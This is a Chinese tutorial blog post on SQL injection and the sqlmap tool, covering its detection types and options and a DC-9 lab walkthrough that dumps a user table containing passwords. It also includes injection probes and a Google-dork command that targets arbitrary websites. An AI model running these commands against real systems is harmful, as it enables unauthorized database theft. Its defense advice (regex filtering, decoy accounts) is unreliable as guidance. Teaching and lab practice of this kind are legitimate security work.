sqlmap基本使用详解与sql注入防御之网络安全

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS MySQL,集群版 2核4GB 100GB
推荐场景:
搭建个人博客
云数据库 RDS MySQL,高可用版 2核4GB 50GB
简介: 作者主页:https://www.couragesteak.com/

1 sql注入

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

2 sqlmap介绍

sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令
sqlmap支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。

官方网站:https://sqlmap.org/
下载地址:https://github.com/sqlmapproject/sqlmap
演示视频:https://asciinema.org/a/46601

3 支持检测类型

sqlmap 支持5种漏洞检测类型:

  • 基于布尔的盲注检测 (如果一个url的地址为xxxx.php?id=1,那么我们可以尝试下的加上 and 1=1(和没加and1=1结果保持一致) 和 and 1=2(和不加and1=2结果不一致),则我们基本可以确定是存在布尔注入的. )
  • 基于时间的盲注检测(和基于布尔的检测有些类似.通过mysql的 sleep(int)) 来观察浏览器的响应是否等待了你设定的那个值 如果等待了,则表示执行了sleep,则基本确定是存在sql注入的
  • 基于错误的检测 (组合查询语句,看是否报错(在服务器没有抑制报错信息的前提下),如果报错 则证明我们组合的查询语句特定的字符被应用了,如果不报错,则我们输入的特殊字符很可能被服务器给过滤掉(也可能是抑制了错误输出.))
  • 基于union联合查询的检测(适用于如果某个web项目对查询结果只展示一条而我们需要多条的时候 则使用union联合查询搭配concat还进行获取更多的信息)
  • 基于堆叠查询的检测(首先看服务器支不支持多语句查询,一般服务器sql语句都是写死的,某些特定的地方用占位符来接受用户输入的变量,这样即使我们加and 也只能执行select(也不一定select,主要看应用场景,总之就是服务端写了什么,你就能执行什么)查询语句,如果能插入分号;则我们后面可以自己组合update,insert,delete等语句来进行进一步操作)

4 参数

4.1 直接连接到数据库

(MySQL,Oracle,Microsoft SQL Server,PostgreSQL 等)

DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME

(SQLite,Microsoft Access,Firebird 等)

DBMS://DATABASE_FILEPATH

eg

python sqlmap.py -d "mysql://admin:admin@192.168.21.17:3306/testdb" -f --bann
er --dbs --users

4.2 -D 指定数据库

4.3 --tables 枚举指定数据库下的表名

4.4 -T 指定表名

4.5 --columns 指定列

枚举指定表下的列名

4.6 -C

后面跟列名,含义是枚举这些列的值

4.7 --dump 显示的列值

最后枚举列值时,加上此参数可以看得到显示的列值

4.8 -m 批量文件(多目标)

提供给定批量文件中列出的目标 URL 的列表,sqlmap 将逐个扫描每个 URL。
eg

www.x.com/vuln1.php?q=foobar
www.x.com/vuln2.asp?id=1
www.x.com/vuln3/id/1*

4.9 -r 从文件加载 HTTP 请求

sqlmap 的可能性之一是从文本文件加载原始 HTTP 请求。这样,您可以跳过许多其他选项的使用(例如,设置 Cookie,发布数据等)。

POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0

id=1

请注意,如果请求是通过 HTTPS 进行的,则可以将其与 switch 结合使用,--force-ssl 以强制 SSL 连接到 443 /tcp。或者,您可以将其附加:443 到 Host 标题值的末尾。

4.10 -g

将 Google dork 结果作为目标地址处理
也可以根据您的 Google 问题的结果测试并注入 GET 参数。

此选项使 sqlmap 与搜索引擎协商其会话 cookie 以便能够执行搜索,然后 sqlmap 将使用 GET 参数检索 Google dork 表达式的 Google 前 100 个结果,询问您是否要测试和注入每个可能的受影响 URL 。
eg

python sqlmap.py -g "inurl:\".php?id=1\""

参考文章:
网安:https://www.wangan.com/docs/1065

5 DC-9 靶机测试

sql.txt 为注入点信息 不做解释

在这里插入图片描述

5.1 扫描数据库信息

sqlmap -r sql.txt

在这里插入图片描述

5.2 扫描数据库

sqlmap -r sql.txt --dbs

在这里插入图片描述

5.3 直接扫描数据库

sqlmap -r sql.txt -D users --dump

5.4 扫描user数据库有哪些表

sqlmap -r sql.txt -p search -D users --tables
[1 table]
+-------------+
| UserDetails |
+-------------+

5.5 扫描 UserDetails表的列

sqlmap -r sql.txt -p search -D users -T UserDetails --columns
[6 columns]
+-----------+-----------------+
| Column    | Type            |
+-----------+-----------------+
| firstname | varchar(30)     |
| id        | int(6) unsigned |
| lastname  | varchar(30)     |
| password  | varchar(20)     |
| reg_date  | timestamp       |
| username  | varchar(30)     |
+-----------+-----------------+

5.6 扫描 UserDetails表的列值

sqlmap -r sql.txt -p search -D users -T UserDetails -C firstname,lastname,username,password --dump

6 防御sql注入

造成sql注入的主要是由于没有对特殊字符进行过滤,导致sql拼接,达到执行数据库语句的目的。危害不是一般的大,防御困难

6.1 正则化过滤特殊字符

对传入的参数严格审查,不符合要求统一系统记录,并提示管理,及时防护。

6.2 设置账号陷阱

设置类似超管账号,密码超级长,迫使分析账号密码hack心累,机器瘫痪。

6.3 严格区分超级管理与普通管理权限

  1. 严格区分系统管理员与普通管理的权限。

参考文章:
DC-9 系列
https://blog.csdn.net/crisprx/article/details/103985898
https://blog.csdn.net/weixin_44426869/article/details/104918662

相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助     相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
相关文章
|
5天前
|
安全 算法 网络安全
数字堡垒的裂缝与修补 —— 网络安全漏洞与防御策略
【8月更文挑战第16天】 在数字化时代的浪潮中,网络安全成为保护信息资产不可或缺的盾牌。本文将揭示网络空间中潜藏的风险,探讨加密技术如何成为数据安全的锁链,并强调培养安全意识的重要性。我们将一同穿梭在代码的迷宫中,寻找那些被忽视的角落,修补可能让整个系统崩溃的微小裂缝,确保个人与企业能在信息战的前线屹立不倒。
|
21小时前
|
SQL 监控 安全
|
2天前
|
SQL 安全 网络安全
网络防御的盾牌:揭秘网络安全漏洞与加密技术的博弈
【8月更文挑战第18天】在数字时代的棋局中,网络安全漏洞和加密技术如同对弈双方,不断上演着攻防战。本文将深入探讨网络安全的薄弱环节,并揭示如何通过先进的加密技术和提升安全意识来构筑防线。我们将从漏洞的形成、利用到防御策略进行全方位的剖析,并分享如何在日常生活中提高个人信息的安全等级。
17 2
|
8天前
|
机器学习/深度学习 数据采集 人工智能
未来的守护神:AI驱动的网络安全之盾,如何用智慧的光芒驱散网络黑暗势力?揭秘高科技防御系统背后的惊天秘密!
【8月更文挑战第13天】随着网络技术的发展,网络安全问题愈发严峻,传统防御手段已显乏力。本文探讨构建AI驱动的自适应网络安全防御系统,该系统能自动调整策略应对未知威胁。通过数据采集、行为分析、威胁识别及响应决策等环节,利用Python工具如Scapy、scikit-learn和TensorFlow实现网络流量监控、异常检测及自动化响应,从而提升网络安全防护的效率和准确性。随着AI技术的进步,未来的网络安全防御将更加智能和自动化。
21 6
|
4天前
|
云安全 安全 网络安全
云端防御战线:融合云计算与网络安全的未来策略
【7月更文挑战第47天】 在数字化时代,云计算已成为企业运营不可或缺的部分,而网络安全则是维护这些服务正常运行的基石。随着技术不断进步,传统的安全措施已不足以应对新兴的威胁。本文将探讨云计算环境中的安全挑战,并提出一种融合云服务与网络安全的综合防御策略。我们将分析云服务模式、网络威胁类型以及信息安全实践,并讨论如何构建一个既灵活又强大的安全体系,确保数据和服务的完整性、可用性与机密性。
|
6天前
|
SQL 安全 网络安全
数字堡垒的裂缝与修补 —— 网络安全漏洞与防御策略
在数字化浪潮汹涌澎湃的今天,网络安全成为守护信息资产的坚固盾牌。然而,网络攻击者如同狡猾的猎手,不断寻找着数字堡垒的裂缝。本文将深入探讨网络安全的薄弱环节,包括常见的安全漏洞、先进的加密技术,以及培养安全意识的重要性。我们将以通俗易懂的语言,带领读者从浅入深,逐步了解如何识别和应对网络威胁,最终达到提升个人和组织的安全防范能力的目的。
|
9天前
|
人工智能 监控 安全
构筑防御堡垒:云计算环境下的网络安全策略与实践
【7月更文挑战第43天】 随着企业逐渐将数据和服务迁移至云端,云计算的安全性已成为信息安全领域的重中之重。本文旨在探讨在动态且复杂的云环境中,如何实施有效的网络安全措施来保护数据完整性、保密性和可用性。文章分析了当前云服务中存在的安全挑战,并提出了多层次的安全框架和最佳实践,以帮助组织构建强大的网络防御体系。此外,文中还讨论了利用新兴技术如人工智能和区块链来增强云环境安全性的潜力。
|
8天前
|
SQL 供应链 安全
网络防御前线:探索网络安全漏洞与加密技术
在数字时代,网络安全和信息安全成为保护个人隐私和企业资产的关键。本文将深入探讨网络安全的薄弱环节,分析常见的安全漏洞及其成因,并介绍加密技术如何作为防御手段强化数据保护。同时,强调提升公众的安全意识对于构建更安全的网络环境的重要性。通过具体案例和技术解析,旨在为读者提供实用的网络安全知识,促进更加安全的在线行为习惯。
18 2
|
8天前
|
存储 安全 物联网
网络安全的盾牌与剑:漏洞防御与加密技术解析
在数字世界的海洋中,网络安全是航船上不可或缺的指南针。本文将深入探讨网络漏洞的识别与防范,同时揭示加密技术如何在保护信息安全中扮演关键角色。通过分析安全意识的重要性和提升策略,我们旨在为读者提供一套实用的网络安全知识框架,确保个人和企业能在信息战中站稳脚跟。
|
6天前
|
安全 网络安全 数据安全/隐私保护
网络安全漏洞的剖析与防御
【8月更文挑战第15天】 在数字化浪潮中,网络安全成为保护信息资产的关键。本文旨在深入探讨网络漏洞的类型、成因,并分享加密技术如何作为防线强化安全架构。同时,强调提升个人和组织的安全意识对于防范网络威胁的重要性。通过案例分析,揭示安全策略实施的现实意义。
17 0